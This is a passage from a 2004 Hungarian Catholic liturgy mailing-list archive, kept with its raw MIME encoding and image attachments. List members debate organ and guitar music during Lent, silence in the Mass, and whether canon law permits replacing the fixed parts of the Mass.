    2. Hogy a katolikus = zeneszer=F5k=20 nem igen =EDrtak nagyb=F6jti orgonadarabokat, ennek oka = val=F3sz=EDn=FBleg az=20 orgonatilalom =F5si eredete. Kicsit tal=E1n id=E9zi az=20 =F5skereszt=E9ny kort, amikor tilos volt a hangszerek = haszn=E1lata =E9s ez =EDgy=20 maradt R=F3m=E1ban eg=E9szen 1600 ig, Keleten m=E1ig. A nagyb=F6jt = sz=E1mos liturgiai =E9s=20 zenei szab=E1lya ugyanis a leg=F5sibb form=E1kat =F5rzi.
    3. Az =E9nek = al=E1t=E1maszt=E1shoz=20 hozz=E1tartozik az a n=E9h=E1ny =FCtem is, amivel egy - egy =E9neket = bevezet=FCnk. Teh=E1t ez=20 ellen kifog=E1s nem lehet. Az elm=E9lyed=E9st azonban a legt=F6bb helyen = siralmas=20 sz=EDnvonal=FA halk orgonaimproviz=E1ci=F3k helyett valami m=E1s = seg=EDtheti el=F5. Mondjuk az=20 egyh=E1z zenei anyanyelv=E9t jelent=F5 gregori=E1n, mely eredetileg csak = vok=E1lis. Vagy=20 az, amit sokan sok helyen hi=E1nyolnak a mai t=FAlbesz=E9lt = liturgi=E1b=F3l: A CSEND. Ha a=20 francia r=EDtus indokoltnak tartja az evang=E9lium ut=E1ni 20 perces = csendet, tal=E1n=20 n=E1lunk sem k=F6telez=F5 a mise minden perc=E9t kit=F6lteni = besz=E9ddel, =E9nekkel vagy=20 orgon=E1l=E1ssal. Az igaz=E1n =E9rt=E9kes zene (az =E9rtelmes = besz=E9ddel egy=FCtt) =FAgyis a=20 csendb=F5l sz=FCletik. Mi=E9rt f=E9l a modern ember a csendt=F5l? = Mi=E9rt nem tud elm=E9lkedni=20 hangulatzene, h=E1tt=E9rzene n=E9lk=FCl? A csend hangs=FAlyosabb=E1 = tenn=E9 a k=E9t=20 b=FBnb=E1nati id=F5szak saj=E1tos jelleg=E9t. Hiszen van ideje a = s=EDr=E1snak =E9s ideje a=20 nevet=E9snek, ideje a gy=E1sznak =E9s ideje a t=E1ncnak, ideje a = hallgat=E1snak =E9s ideje a=20 sz=F3l=E1snak. R=E1ad=E1sul m=E9g egy felt=E9tlen el=F5nye van a = csendnek: nem kell m=E9rt=E9ken=20 fel=FCl ig=E9nybe venni sem az eml=EDtett Mari n=E9ni = ut=E1nozhatatlan =E9nekhangj=E1t,=20 sem az =F5t hallgat=F3 h=EDvek t=FCrelm=E9t. =C9s a k=E1ntor is = gyakorolhatja a lemond=E1st =E9s=20 az al=E1zatot. (Kispap koromban olyan v=E9lem=E9nyek is el=F5fordultak = t=E1rsaim k=F6r=E9ben,=20 miszerint nagyb=F6jtben csak csendes mise legyen. Mint az =E9nekl=E9s = =E9s zene lelkes=20 rajong=F3ja, term=E9szetesen tiltakoztam. De mit tegyen a k=E1ntor, ha = ilyesmire=20 vetemedne pl=E9b=E1nosa?)
    A szemek = b=F6jtj=E9r=F5l m=E9g annyit,=20 hogy pl. a vir=E1gd=EDsz mell=F5z=E9s=E9nek is van hagyom=E1nya, hiszen = a k=F6z=E9pkorban m=E9g a=20 szent=E9lyt is elf=FCgg=F6ny=F6zt=E9k a h=EDvek el=F5l (ez is az els=F5 = sz=E1zadokb=F3l sz=E1rmaz=F3=20 szok=E1s, mely Keleten ma is megvan), ma is n=E9hol eltakarj=E1k az = olt=E1rk=E9pet, k=E9s=F5bb=20 a kereszteket, n=E1lunk is. Mindez nem =FCres formalizmus, hiszen a = k=FCls=F5 jelek=20 szimb=F3lumok, melyek el=F5seg=EDthetik benn=FCnk a megfelel=F5 = lelk=FClet=20 kialak=EDt=E1s=E1t.
Kov=E1cs = Ervin.
------=_NextPart_000_000C_01C3FE4D.39640920-- From robert.kovacs@chello.at Sun Feb 29 17:36:39 2004 From: robert.kovacs@chello.at (=?Windows-1252?Q?Robert_Kov=E1cs?=) Date: Sun, 29 Feb 2004 18:36:39 +0100 Subject: [Liturgia] =?Windows-1252?Q?hangszeres_zene_Nagyb=F6jtben_+_t=F6bbi_egyh=E1z?= Message-ID: <001e01c3feea$96e99a40$cc63bad4@chello.at> Kedves Listatagok, Kedves Decsi Bálint, az új egyházi énekek ("gitáros énekek") nagy része nem is müködik hangszer nélkül, mivel ritmus- és basszus-orientált a kompozíciók nagy része. Szerintem egy nagyon jó kérdést vetett fel, hogy a gitár mennyire illik a "tiltott övezetbe". Elöszóban a következöket szeretném mondani: Annyiban más a gitár szerepe az istentiszteleten vagy a szentmisén az orgonához képest, hogy tevékenységi köre szinte kivétel nélkül csak rövid elöjátékra, esetleg egy még rövidebb utójátékra és persze az énekre koncentrálódik. Ez a tölem is elözöleg sokszor idézett "játsszon valami halkat" a gitáron nem müködik, egyrészt, mert a gitár eleve halk (nincs meg a templomban a halk-hangos-effektus), másrészt a gitárosok nagy része - bocsánat - nem gitármüvész. Pedig szerintem ez kellene, hogy legyen az irány, különben velem együtt jópáran ezentúl is azt fogják mondani, hogy: "már megint gitáros mise van?". Szerintem, ha a gitárt müvészi szinten (is) használnánk a liturgiában, több ember megértené és elfogadná magát a hangszert (és annak mesterét). Egy utószó az elöszóhoz: Szerintem ahogy az orgonákat is a templomhoz méretezik, úgy a gitár, mint hangszer, föleg mint kíséröhangszer nem illik nagy templomokba. Nekem mindig az az érzésem, ha egy nagyobb templomban gitárt hallok, mintha valaki 150 embert akarna vendégül látni, de csak másfél virsli, 3 csepp mustár és fél szelet kenyér jut mindenkinek, ami osztás közben egyre kevesebb lesz. A legutolsók már csak mustárt kapnak... Ezt a problémát jobb helyeken igyekeznek 3-4 gitárossal + mikrofon megoldani, ami ahhoz elég, hogy mindenki kapjon a virsliböl. Szerintem az étlapon kellene változtatni. Kosóczki Tamás gondolatainak örültem, de vitára bocsátanám az ökuméne zenemüvészetre való hatását! Az ökuméne (de bonyolult szó...) egyik alkotóeleme lehetne szerintem éppen a többi keresztény zeneirodalom megismerése/megismertetése. Rejtve utaltam rá elözö írásomban, hogy német nyelvterületen mennyire rokon egymással a katolikus, evangélikus és kálvinis ta énekrepertoár. Kár, hogy Magyarországon nincs erre sem történetileg, sem jelenleg kiépülö hagyomány. Ez talán nem volna olyan nehéz, mint az ortodox egyházzal való kapcsolatfelvétel, amely 465 évvel korábban szakadt el Rómától, mint Luther. Véleményem szerint lassan (tulajdonképpen gyorsan) el kellene a keresztény egyházaknak jutniuk odáig, hogy nem a külsöségek és a hagyományok számítanak, hanem ami összeköt. A többi csak ragaszkodás valamihez, amiröl mi magunk sem tudjuk, hogy úgy van-e, ahogy hisszük. Istent nem lehet törvényekbe és dogmákba foglalni. Ö arra is képes, hogy felborítsa az istenképünket, és megtanítsa, hogy Neked is lehet igazad és nekem is lehet igazam, még akkor is, ha józan ésszel a kettö összeegyeztethetetlen. Visszatérve a zenéhez: hál` Istennek eljutottunk odáig (még csak pár éve van így), hogy az Egyház felismerte a csendnek a fontosságát! Talán már sokan elfelejtették, hogy a Zsinat elötti idöben az orgona enyhén szólva mást csinált, mint manapság. Még korábban az volt a felfogás, hogy csendnek NEM VOLT SZABAD lennie a szentmisén, mert akkor "helyet adunk az ördögnek". Ezért olyan hosszú a különbözö régi kiadású prelúdiumos, interlúdiumos és posztlúdiumos kötetek sora (éppen ma láttam egyet véletlenül, 1873-as német kiadás volt! Fantasztikus, milyen igény volt annak idején ilyen müvekre! 140 év...) Csengetés is azért van átváltoztatáskor, hogy nehogy megszakadjon a csend által a mise "mindig-valami-történik"-jellege. Ezért az a véleményem, hogy nem szabad azokhoz az elöírásokhoz annyira ragaszkodni, amik a szertartási könyvekben írva vannak. Csak idö kérdése, és a gyász színe ezentúl nem fehér, hanem fekete lesz, az orgona nem pogány, hanem az egyház "saját hangszere" lesz, a csend nem ördögi jellegü, hanem kifejezetten szent és út Istenhez lesz. Nem azt mondom, hogy ami elöírás, az nem betartandó, de ha a világon létezö sok száz féle katolikus szentmise-rítusra gondolok, akkor lényegtelenné válik, hogy a helyi szokások mennyire térnek el a Nagy Könyvben megírtaktól. Egyedül az számít, hogy mi van a cselekedetek mögött. Ha Bach: Aus tiefer Not-tal hozzá tudok segíteni a nagyböjt lényegének megértéséhez, akkor miért ne játsszam el? Nem fogok a darabbal addig várni, amíg be nem vezetik, hogy szabad, söt igenis kívánatos a nagyböjti ünnepélyes orgonazene! Az nem böjt, ha az orgonista szeret orgonálni, akkor most ne játsszon. Szerintem játsszon másképp, mint különben. Az lenne a böjt inkább, ha venné a fáradságot, és például gyakorolna a szentmisére, vagy, ha tud valami nem megszokottat elöadni, akkor próbálja ki azt. Játsszon úgy, hogy érezni lehessen benne a közelgö Húsvétot! A böjt nem egyenlö csak a lemondással. A böjt lehet másokra való különösebb odafigyelés, nagyobb türelem, a "belsö hangra" való fokozottabb figyelem stb. Éppen ez utóbbira nagyon jók például a nagyböjti zenés áhítatok. Azonkívül az orgonistának sokszor külön pénzre van szüksége, ha a közelgö húsvétkor valami nagyobb szabású irodalmat szeretne elöadni, mondjuk hangszerekkel, szólistákkal. Mikor gyüjtsön erre, ha nem Nagyböjt idején? Vissza Decsi Bálint kérdéséhez: lehet-e a mise állandó részeit más szövegü énekekkel helyettesíteni? Miért? A Gloria nem azt jelenti, hogy "Tied a dicsöség..."? És a Sanctus nem azt jelenti, hogy "Szent, szent a neve..."? És az Agnus Dei nem azt jelenti, hogy "Istennek Báránya..."? Nem leszünk vallásosabbak, ha mindig ugyanazt énekeljük. Ezek az énekek pont azért születtek, hogy a hagyományosak helyett (nagy választék van: kb. 4 darab, ebböl 2 szinte énekelhetetlen) újakat énekeljünk végre. Hogy ezek mennyire sikerültek, az más kérdés. Tudom, hogy ebbe a véleményembe sokan belekötnek, de szerencsére csak Magyarországon! :))) Zárszóként: legyen csend is, de jusson az orgonista is szóhoz. Mind a kettö lehet pozitív alkotóeleme a Nagyböjtnek, csak tudni kell vele bánni. Sajnos még olyan templomok is vannak, ahol az orgonistának még gyakorolnia sem szabad a Nagyhéten! Ez semmilyen ösi formára nem vezethetö vissza és ellene van minden logikának. Bocsánat, hosszú lett... Örömteli Nagyböjtöt kívánva, Kovács Róbert From deba@dpg.hu Sun Feb 29 20:39:03 2004 From: deba@dpg.hu (=?iso-8859-2?q?Decsi=20B=E1lint=20?=) Date: Sun, 29 Feb 2004 21:39:03 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20hangszeres=20zene=20Nagyb=F6jtben=20?= =?iso-8859-2?q?+=20t=F6bbi=20egyh=E1z?= Message-ID: Kedves Kovács Róbert! Köszönöm a sorait, az eddigi írásait is érdeklődéssel fogadtam. Talán elindult már néhány éve egy folyamat a gitáros kórusok körében, a zenei igényességre. Évente 1-2 alkalommal rendezünk kórustalálkozókat, ahol a megjelentek bemutatják munkájukat, és néhány dalukat. Sajnos az énekek elég sokszínűek, még a szomszédos plébániák is szinte eltérő repertoárral rendelkeznek, kis átfedéssel. Ezen próbál segíteni a találkozás lehetősége. Talán ma már a gitárosok, vagy a vezetők nagy része nem kezdő gitáros. Bár jómagam 6 évig zeneiskolába jártam gitározni, nagy általánosságban messze vagyunk a művészi szinttől, meg a zenei képzettségtől, de ez a műfaj sajáttosságaiból ered. Tényleg jó lenne minden gitáros kórusba egy-egy gitárművész, mint ahogy jó lenne minden kántornak is orgonaművésznek lennie. Sajnos nem varnuszxaver-ok és szabosándor-ok vagyunk. Törekedünk a tökéletességre, ez biztos, de egy-egy kántor orgonatudásán azért néha helyből túlteszünk. :-) A gitár esetében szerintem nem a hangerő hiánya a gond. Az orgona hangja egy összetett fizikai-biológiai-pszihés effektus révén okoz a misén résztvevőben katartikus élményt. Ehhez hozzájárul még az is, hogy több száz éve az orgona csak templomokban szólalhatott meg, így az orgona hangja tudatalatt összekapcsolódott a templommal. A Mari néni az első sorban lehet, hogy csúnyán énekel, már ha éneklésnek lehet nevezni, de számára boldogságot okoz. És ez a fő cél, a katarzis érzése. Ha ezt a hívő megéli a templomban, akkor legközelebb is eljön. Ha nem, megy a hitgyülibe, vagy az utcára. Ugyanezt a katartikus élményt egy rockkoncert is megadja, igaz tartalom nélkül. De ott a hangerőben nincs hiány az biztos. Sajnos a mai ember számára a hagyományos orgonás énekek nem fordítják le hitünk alapigazságait a hétköznapok nyelvezetére. Más kérdés, hogy egy óriási zenei kincsről, és több száz éves hagyományról van szó. Ezen próbál segíteni a gitár, vagy a könnyűzene. Ma már szinte minden ilyen kórusban megtalálható valamilyen szólóhangszer is, hegedű, fuvola, nagybőgő, vagy szintetizátor. Sok helyen alkalmaznak erősítőt is. De már volt arra is példa, hogy túl hangosnak tituláltak egy 10 emberből álló kórust, pedig nem mikrofonba énekeltek, csak vidámak voltak egy ünnepi misén. Szerintem a célt kell kijelölni a gitárosoknak is, mégpedig Egyházi szinten. Ma még mindig egy megtűrt, elfogadott, néha támogatott, néha üldözendő szerep a miénk. A kérdéseimet azért tettem föl, mert a benne foglaltak is az üldözés eszközei voltak, konkrét esetben. Tapasztalatom szerint széles körben azért ezt a műfajt is elfogadják, de szeretnénk mi is megismerni azokat a problémáinkat amivel a képzett egyházzenészek, a kántorok, vagy Atyák nem értenek egyet, amit javítanunk kell. Nem elég a "képzettek" részéről bírálatokat megfogalmazni, segítséget is kérünk. A célunk a közös munka, az Isten dicsőségére. Mi is tudunk meditatívan játszani, ha kell a-mollban is, de ha kell több szólamban vidámabb dalokat is éneklünk. A virslire pedig csak azt mondom, hogy már ötezer ember is jóllakott néhány kenyérből meg halból néhány ezer éve, ha Jézus ott volt a közelben. Lehet, hogy ennek ellenére változtatni kell az étlapon. Lehet orgonával is gitáros énekeket játszani, vagy fordítva. mindkettőre hallottam már példát. Gitáros vagy kántor legyen a talpán, aki ilyesmit felvállal. De ha nem így, akkor hogyan tovább? Ne csak kifogásokat halljunk, hanem megoldást is. A mai korban íródott ifjúsági gitáros dalok esetében fontos a ritmus, a tempó, az ütem megtartása. Ellenkező esetben szétesik a dal. Sajnos ma a kántorokat nem ezek betartására képezik, hanem a hívek kíséretére. Miért van ez így? A kántor bejátsza az előjátékot, a hívek várnak a kántorra, a kántor a hívekre, és a dalból egy elnyújtott rétestészta szerű massza lesz. A végeredmény messze van Hozsannában szereplő kottától. A dal tempóját esetenként nem az ütemmutató szabja meg, hanem a kántor orgonatudása. A gitáros énekek esetében ez elképzelhetetlen. Ott egy akkord addig szól, amíg a ritmus megengedi. A hívek rá vannak kényszerítve a ritmus betartására. És tapasztalatopm szerint ez nem okoz nekik nehézséget. Egyébként ezt tapasztaltam Auzsztiában, Németországban is, igaz orgonával. Az ő dalaik sokkal pergősebbek, gyorsabbak, és mindenesetre feszesebbek a ritmus tekintetében. Nem hiszem, hogy legalább ezen ne lehetne változtatni. Ha már egyes szövegeken nem lehet. Tehát hogyan tovább? Várom mindenki ötleteit, kifogásait, észrevételeit a gitáros énekekkel kapcsolatban, hisz mi is a liturgia keretein belül kívánunk tevékenykedni. És még egyszer köszönöm válaszát, sokat segített, és várom esetleg más hozzászóló véleményét is. Köszönettel: Decsi Bálint "gitáros" From tarnai.imre@l2net.hu Sun Feb 29 22:32:13 2004 From: tarnai.imre@l2net.hu (Tarnai Imre) Date: Sun, 29 Feb 2004 23:32:13 +0100 (Közép-Európa - téli idő) Subject: [Liturgia] =?iso-8859-2?B?QmV0cmVmZjogW0xpdHVyZ2lhXSBoYW5nc3plcmVzIHplbmUgTmFneWL2anRiZW4gKyB09mJiaSBl?= =?iso-8859-2?B?Z3lo4Xo=?= References: <001e01c3feea$96e99a40$cc63bad4@chello.at> Message-ID: <4042686D.000004.01109@K3T2A2> --------------Boundary-00=_PLAVBHK0000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_PLAV6RO0000000000000" --------------Boundary-00=_PLAV6RO0000000000000 Content-Type: Text/Plain; charset="windows-1250" Content-Transfer-Encoding: quoted-printable Kedves R=F3bert!=0D Isten =E1ldjon meg ezek=E9rt a szavaid=E9rt!=0D "ARANYK=D6P=C9SEK" c=EDm=FB mapp=E1mban helyeztem el. =0D Pedig m=E1rv=E1nyba kellene =F5ket v=E9sni! No meg a kereszt=E9nyek sz=ED= v=E9be!=0D (Mellesleg: a t=F6bbi mondanival=F3d javar=E9sze is sz=EDvemb=F5l sz=F3lt= !)=0D Tarnai Imre =0D =0D -------Original-Meldung-------=0D =0D Von: Robert Kov=E1cs=0D Datum: 02/29/04 18:37:15=0D An: liturgia@katolikus.hu=0D Betreff: [Liturgia] hangszeres zene Nagyb=F6jtben + t=F6bbi egyh=E1z=0D =0D =2E.. =0D V=E9lem=E9nyem szerint lassan (tulajdonk=E9ppen gyorsan) el=0D kellene a kereszt=E9ny egyh=E1zaknak jutniuk od=E1ig, hogy nem a k=FCls=F6= s=E9gek =E9s a=0D hagyom=E1nyok sz=E1m=EDtanak, hanem ami =F6sszek=F6t. A t=F6bbi csak raga= szkod=E1s=0D valamihez, amir=F6l mi magunk sem tudjuk, hogy =FAgy van-e, ahogy hissz=FC= k.=0D Istent nem lehet t=F6rv=E9nyekbe =E9s dogm=E1kba foglalni. =D6 arra is k=E9= pes, hogy=0D felbor=EDtsa az istenk=E9p=FCnket, =E9s megtan=EDtsa, hogy Neked is lehet= igazad =E9s=0D nekem is lehet igazam, m=E9g akkor is, ha j=F3zan =E9sszel a kett=F6=0D =F6sszeegyeztethetetlen.=0D =2E.. --------------Boundary-00=_PLAV6RO0000000000000 Content-Type: Text/HTML; charset="windows-1250" Content-Transfer-Encoding: quoted-printable
Kedves R=F3bert!
Isten =E1ldjon meg ezek=E9rt a szavaid=E9rt!
"ARANYK=D6P=C9SEK" c=EDm=FB mapp=E1mban helyeztem el.
Pedig m=E1rv=E1nyba kellene =F5ket v=E9sni! No meg a kereszt=E9nyek = sz=EDv=E9be!
(Mellesleg: a t=F6bbi mondanival=F3d javar=E9sze is sz=EDvemb=F5l sz= =F3lt!)
Tarnai Imre 
 
-------Original-Meldung-------
 
Datum: 02/29/04 18= :37:15
Betreff: [Liturgia= ] hangszeres zene Nagyb=F6jtben + t=F6bbi egyh=E1z
 
... 
V=E9lem=E9nyem szerint lassan (tulajdonk=E9ppe= n gyorsan) el
kellene a kereszt=E9ny egyh=E1zaknak jutniuk o= d=E1ig, hogy nem a k=FCls=F6s=E9gek =E9s a
hagyom=E1nyok sz=E1m=EDtanak, hanem ami =F6ssz= ek=F6t. A t=F6bbi csak ragaszkod=E1s
valamihez, amir=F6l mi magunk sem tudjuk, hogy= =FAgy van-e, ahogy hissz=FCk.
Istent nem lehet t=F6rv=E9nyekbe =E9s dogm=E1k= ba foglalni. =D6 arra is k=E9pes, hogy
felbor=EDtsa az istenk=E9p=FCnket, =E9s megtan= =EDtsa, hogy Neked is lehet igazad =E9s
nekem is lehet igazam, m=E9g akkor is, ha j=F3= zan =E9sszel a kett=F6
=F6sszeegyeztethetetlen.
...
___________________________________= __________________________________
3D""  IncrediMail - E-Mail= hat sich schlie=DFlich entfaltet - Klicken Sie hier --------------Boundary-00=_PLAV6RO0000000000000-- --------------Boundary-00=_PLAVBHK0000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_PLAVBHK0000000000000 Content-Type: Image/jpeg; name="BackGrnd2.jpg" Content-ID: Content-Transfer-Encoding: base64 /9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAHgAA/+4AIUFkb2JlAGTAAAAAAQMA EAMCAwYAAAHbAAAC1gAABZX/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIAGUAcwMBIgACEQEDEQH/ xACAAAEBAQEAAAAAAAAAAAAAAAAAAQIGAQEBAAAAAAAAAAAAAAAAAAAAARABAAICAwEAAgMAAAAA AAAAAQARIQIxQRIiQDIQMFARAAICAgIBBAIDAQEAAAAAAAERACExQVFhcYGRobECEsHhMtHxEgEA AAAAAAAAAAAAAAAAAABQ/9oADAMBAAIRAxEAAADtRZYE1ASghQFgUZoCkKSwLmhcllAEqkSkqFAl hUomoAS3IoJqFlDNpFEAQFE1AIVYAWIVKAJRNZpYCwVmmshKACA0CBAUCBYGwf/aAAgBAgABBQD8 B/yP/9oACAEDAAEFAPz6/or8H//aAAgBAQABBQC2+ZeHjbD+saX6hwXeDW1Rg4xLLTa+m7ZiIEsI 1MTiHP1dYpvFADiFM1/X6nq9byuwdPPz5oFofWlEMQ9ULKrWq2ppG9Y2J6INQma9lVTRdlUKgHzX XSEECw1SYu5WsGoJPkisZYpx31GvXZQ/JM3VwShzVTsp1EZbBI8LcaUSih86+s2Zl4Wp6+lAZnVs Dkjdku5m+lJTdXDG2SHM9M2wKX1YxsaZTTwmoVrYnqsMrM652yjs01K0mtbGAz6Y5dpfqNz06qpq 5QNjiIjiZtbhtceNuf0jyeqGgu6rXMvI4omPWbPMYzEfMI+axHnFvOP4/9oACAECAgY/AGP/2gAI AQMCBj8AY//aAAgBAQEGPwB72Yucb1BfIhFEaeZ+xRXFQELN+HEUQdjU0Xn4g9gRCQcpw1yajGYs P/kFvUzvjUBWrIMFHI2OJQNEAjiEEFdTmfG/MTHq5RFOnpTV3kzCBx7x4YOD1AV5uYJvnqMA0hep jfwpYCwC4Bx3q55zeZRBCw9TkoIuHw78RdczSNH2mgqcLpRC+RASAkA3B13mcYd5mR84c/yOx4lW tRAZ6mGDhiP9WgXVyhWA+xDgMOWGMsTg/wBTz8SjjXrP8hHIlX1MZ6mDzgc/cIV/iyN1GBR0MQMK jnEzvvMz8mUkErKlfqU63iV+IKNH7mNZBLFQEpEDeDOV32IVn8WR4caoywqI2p695mbZzNUQIcKf k0bo+0NpCqn7CiQiNGXkdQen1DpjGeZ7WNw3pK+I93maCPc16+Zkf6XxMCsFwAkaiIB57vc/IAhZ /HqZBBbB0ZokAEOGxsYqBgPp8agQBu4VSMJdqx6SwDsGBrTmAR93uZGX6KePowEADAIjoX8gw459 CICaW/MLGvodQfkDW71zBxRHtB3j3jC4PMIYoAgKNfPMCQNN7jCzvlzXPopzhQvNZY3CRya9ZrEF fRE0iCB5mscZuVYfKmAi94uE3Q8qfytQ7xD0svmFcmaxNPI8iMjh3pmF2HbzqeUi+YkiD/MrOl5L mbwPuWVfmXpv3hDH8qAjPpiZHXkRnSd6ZhB53mejzKV6US0K9TCCLyCeIhtETX5MsHBGJkD/ANiF kMCE2qGoCdZ8Q8AMGpYFqEhdhRIYH3CF3d1M/Mexma+4CwdQ2Ddcx0exAlmj04QUQd8QWLB/iB5G xmEg5TENVZqPYzFV8eHAy9T/AEc8a4n3Ov6g/VwvE6lpQ4VNysXzhS8esOO8w/rlF/rypjV3B5H1 Knr8T//Z --------------Boundary-00=_PLAVBHK0000000000000-- From rihmer@freemail.hu Mon Mar 1 01:36:22 2004 From: rihmer@freemail.hu (=?ISO-8859-2?Q?Rihmer_Zolt=E1n?=) Date: Mon, 1 Mar 2004 02:36:22 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?Ordin=E1rium_=E9s_git=E1rzene_a_liturgikus_jog?= =?ISO-8859-2?Q?_t=FCkr=E9ben?= Message-ID: Kedves listatagok! Decsi Bálintnak az ordinárium helyettesíthetőségére vonakozó kérdése véleményem szerint nem annyira szubjektív, mint inkább objektív választ igényel. Igaz ugyan, hogy az elején így kezdi: "A szentmise állandó részeit lehet-e más szövegű dalokkal helyettesíteni?" A végén azonban ez olvasható: "Mi az igazság, mi az Egyház hivatalos álláspontja? És mi az álláspont a gitáros énekekkel kapcsolatban?" Márpedig e tekintetben a széles körű gyakorlat és az abból elvont magánvélemények igencsak távol esnek az Egyház hivatalos álláspontjától. S mivel úgy tűnik, hogy ez utóbbi még a liturgiával hivatásszerűen foglalkozók előtt is csak kevéssé ismert, legyen szabad egy kissé részletesebben ismertetnem. 1. Az ordinárium helyettesíthetősége Az ordinárium szövegeit a misekönyvben a szentmise rendje (Ordo Missae) tartalmazza. Az ezeket kísérő rubrikák nem szólnak arról, hogy mely szöveg helyett lehet más, a misekönyvben nem szereplő szöveget mondani vagy énekelni (egyedül a bűnbánati rítusba integrált Kyrie esetén van lehetőség más szöveg alkalmazására, ám ekkor sem maga a "Kyrie eleison", hanem a hozzá kapcsolódó tropus-szerű megszólítások helyett, vö. 6. p.: "Postea sacerdos, vel diaconus vel alius minister, sequentes, v e l a l i a s, invocationes cum Kýrie eléison profert"). Azt, hogy a misekönyvben található bármely rítusszöveg helyett mikor és mit lehet mondani, egyrészt magának a misekönyvnek az Általános rendelkezései (Institutio generalis Missalis Romani = IGMR), másrészt a római rítus inkulturációjáról szóló 1994-es "Varietates legitimae" instrukció (= VL) szabályai határozzák meg. A Római misekönyv 2000-ben jóváhagyott és 2002-ben megjelent harmadik mintakiadásában (ez a latin "editio typica" magyar szakfordítása, mivel az eredeti arra utal, hogy a többi latin és nemzeti nyelvű kiadásnak ehhez mint mintához k e l l igazodnia, a "tipikus" ezzel szemben anyanyelvünkön kissé mást jelent) az utóbbi dokumentumot szövegszerűen is bedolgozták az Általános rendelkezésekbe. Az énekelhető részek körében ugyanerről a kérdésről az 1967-ből származó "Musicam sacram" instrukció (= MS) tartalmaz még előírásokat. A liturgikus jog e forrásai szerint az előírt miseszövegek helyett a következő esetben lehet más szövegeket énekelni: a) cantus ad introitum / bevonulási ének (MS 32. p.; VL 54. p.; IGMR [1975] 26. p. = [2000] 48. p.); b) cantus ad offertorium / felajánlási ének (MS 32. p.; VL 54. p.; IGMR [1975] 50. p. = [2000] 74. p.); c) cantus ad communionem / áldozási ének (MS 32. p.; VL 54. p.; IGMR [1975] 56. p. i) = [2000] 87. p.). Amint e taxatív (vagyis kimerítő, teljességre törekvő) felsorolásból látható, a helyettesíthető szövegű miserészek mind a propriumba tartozó énekek. A magyar püspökök e részek népénekkel való felváltásának lehetősőgével már 1966-ban élni kívántak, ezért arra a Szentszéktől külön engedélyt kértek és kaptak, az új liturgikus könyvek megjelenése óta pedig fenntartották korábbi gyakorlatukat. Az ordinárium helyettesíthetőségéről az IGMR 1975 kifejezetten nem szól, az IGMR 2000 azonban - nyilván az időközben tapasztalt széles körű viszaélések hatására - a Gloriáról szóló 53. pontban új mondatot iktat be: "Huius hymni textus cum alio commutari nequit." Vagyis 2000/2002 óta a Gloria helyett sehol a világon nem lehet más szöveget mondani, még püspöki, sőt püspökkari jóváhagyással sem, mert a misekönyv rubrikái mint az Apostoli Szentszék tekintélyével kihirdetett egyetemes jogszabályok a Katolikus Egyház jogforrási hierarchiájában magasabb szinten állnak a püspökök és azok testületei által alkotott törvényeknél. Az 1983 óta hatályos új kánonjogi törvénykönyv, a Codex iuris canonici pedig a 135. kánon 2. §-ában világosan kimondja: "a legislatore inferiore lex iuri superiori valide ferri nequit — az alacsonyabb szintű törvényhozó nem hozhat érvényesen olyan törvényt, amely ellentétes a magasabb szintű joggal." Ha tehát mégis hozna, az érvénytelen. (A magyar püspököknek az ordinárium helyettesítését előíró rendelkezéséről egyébként nem tudok.) A Glorián kívül értelemszerűen ugyanez vonatkozik az ordinárium másik két énekére: a Sanctusra és az Agnus Deire is, jóllehet itt a jogalkotó nem hangsúlyozta kifejezetten a helyettesítés kizártságát, mivel úgy vélte, hogy arra ennek az egyéb esetben megemlített lehetőségnek az elmaradása kellőképpen utal. Ami végül a Credo más szöveggel való helyettesítését illeti, ez az IGMR (1975) 43. p. = (2000) 67. p. alapján ugyancsak kizártnak mondható. Összefoglalva: az Egyház hivatalos álláspontja szerint a szentmise állandó részeinek szövege más szövegekkel sem mondott, sem énekelt változatban nem helyettesíthető. Kovács Róbert ezzel ellentétes álláspontja mint magánvélemény természetesen tiszteletet érdemel, a vele való vitatkozáshoz és a hivatalos tanítás megindoklásához azonban a fenti áttekintésnél lényegesen hosszabb és bonyolultabb okfejtésre volna szükség. Az érvelés lényege röviden annyi, hogy az Egyház nem azért ragaszkodik ma is a római miseordinárium általánosan kötelező szövegeihez, mert azok évszázadok óta változatlanok (vö. Kovács Róbert: "Nem leszünk vallásosabbak, ha mindig ugyanazt énekeljük"), hanem mert olyan hitbeli és rituális tartalmakat fejeznek ki, amelyeken sem az idők, sem a helyek különbözősége ellenére nem kíván változtatni. Hogy miért nem, azt már végképp nem merném ennyire leegyszerűsítve megfogalmazni. Helyette inkább az Apostoli Szentszék saját indoklását idézem 